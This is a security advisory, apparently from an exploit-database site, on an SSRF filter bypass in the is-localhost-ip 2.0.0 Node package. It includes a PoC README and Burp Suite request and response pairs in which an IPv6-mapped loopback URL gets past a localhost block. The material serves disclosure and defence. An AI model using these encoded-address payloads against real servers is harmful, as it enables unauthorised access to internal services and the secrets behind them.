is-localhost-ip 2.0.0 - SSRF via Restrictions bypass

2025.11.13
Credit: nu11secur1ty
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Titles: is-localhost-ip 2.0.0 - SSRF via Restrictions bypass # Author: nu11secur1ty # Date: 11/09/2025 # Vendor: https://github.com/tinovyatkin/is-localhost-ip # Software: https://github.com/tinovyatkin/is-localhost-ip/releases/tag/v2.0.0 # Reference: https://portswigger.net/web-security/ssrf # CVE-2025-9960 ## Description: # SSRF PoC — Professional README **WARNING: This repository contains a proof‑of‑concept (PoC) demonstrating an SSRF / localhost canonicalization bypass. Run only on isolated, non-production machines (local VM, sandbox). Do NOT expose to the internet.** ## Overview This PoC demonstrates how a naive server that blocks "localhost" by name can be bypassed using alternate IP encodings (hex, decimal, octal, IPv6-mapped). The included `index.js` is a **tested, minimal** Express app that: - Provides `/check-url?url=<URL>` which checks `is-localhost-ip(hostname)` and fetches the URL if allowed. - Provides `/secret` that returns a generated secret-style JSON object (used to prove leakage). - Includes a test harness to exercise multiple host encodings — **tests are disabled by default** and must be explicitly enabled with `ENABLE_SELF_TEST=1`. ## Files included - `PoC.js` — the PoC server (safe by default: self-tests disabled unless enabled). - `package.json` — minimal package manifest. - `README.md` — this file. ## Quick security summary (read before running) - **Do not** run this on machines that have access to production networks, secret stores, or sensitive services. - The PoC generates synthetic API keys at `/secret`. If a test succeeds, a generated key will be returned by `/check-url` — treat that as proof-of-concept and not a real secret, unless you wired it to a real system. - Prefer running inside an isolated VM with no network access to your corporate network; or a disposable container with blocked egress to RFC1918 and loopback. ## Requirements - Node.js **v18+** (for built-in `fetch`). - npm (comes with Node). ## Setup ```bash # create directory and extract the archive or clone this repo # inside the project directory: npm install ``` `package.json` in this archive will install: - `express` - `is-localhost-ip` - `ipaddr.js` (used by the safer checks in the index.js) ## How to run (safe default) By default, the server will **not** run the self-tests. To start the server: ```bash node PoC.js ``` You should see: ``` Express server running on http://localhost:3005 Self-tests disabled (set ENABLE_SELF_TEST=1 to enable) ``` Then in another terminal: ```bash curl "http://localhost:3005/check-url?url=https://example.com" ``` Expected: fetched content preview (if allowed). ## How to run the internal tests (ONLY in an isolated environment) If you want to run the bypass tests to reproduce the PoC **locally and isolated**, enable them explicitly: ```bash ENABLE_SELF_TEST=1 node PoC.js ``` The process will run a set of encoded-hostname tests against the local `/secret` endpoint and print a summary. If any variant returns `200` and the response includes `"apikey":`, that variant demonstrated a bypass in your environment. ## How to disable the `/secret` endpoint (extra safety) If you want to remove the sensitive test endpoint entirely, edit `PoC.js` and remove or comment out the `/secret` route. ## Safe patch summary (what this PoC does to be safer) - Resolves hostnames to IP addresses server-side using DNS and checks all addresses against ipaddr.js ranges (rejects loopback/private/link-local/reserved). - Rejects non-http(s) schemes, credentials in URL, and non-allowed ports. - Avoids following redirects when fetching upstream resources. - Disables automatic self-tests by default (opt-in). ## Responsible disclosure template If you plan to report this behavior to a maintainer/vendor, use the template in the original analysis or contact the project privately with: - Node version, OS, `is-localhost-ip` version - Minimal PoC command and the exact payload(s) that worked - Logs showing the returned JSON that includes the generated `apikey` ## License This PoC is provided for testing and defensive purposes only. Use at your own risk. No warranty. ---------------------------------------------------------------- STATUS: Medium [+]Payload + Exploit Burp Suite: ``` # normal 403 Forbidden GET /check-url?url=http://10.10.0.28:3005 HTTP/1.1 Host: 10.10.0.28:3005 Content-Len gth: 2 Content-Length: 2 HTTP/1.1 403 Forbidden X-Powered-By: Express Content-Type: application/json; charset=utf-8 Content-Length: 33 ETag: W/"21-6j4oICVQ6Z+6nx0WETDHqqeeklM" Date: Sun, 09 Nov 2025 09:29:34 GMT Connection: keep-alive Keep-Alive: timeout=5 {"error":"localhost not allowed"} ----------------------------------------------------------------- # Exploit GET /check-url?url=http://[::ffff:7f00:1]:3005 HTTP/1.1 Host: 10.10.0.28:3005 Content-Len gth: 2 Content-Length: 2 HTTP/1.1 200 OK X-Powered-By: Express Content-Type: text/html; charset=utf-8 Content-Length: 306 ETag: W/"132-0QnJdvy6r/DgvnNvBs+i8eLbOLc" Date: Sun, 09 Nov 2025 09:29:28 GMT Connection: keep-alive Keep-Alive: timeout=5 {"message":"Express server running","usage":"GET /check-url?url=https://10.10.0.28:3005","examples":["GET /check-url?url=https://httpbin.org/json","GET /check-url?url=http://localhost:8080","GET /check-url?url=https://google.com"],"endpoints":["GET /","GET /check-url?url=<URL>","GET /secret"],"port":3005} ``` # Reproduce: [href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2025/CVE-2025-9960) # Demo: [href](https://www.patreon.com/posts/cve-2025-9960-is-143172786) # Time spent: 03:15:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ home page: https://www.asc3t1c-nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2025, cxsecurity.com

 

Back to Top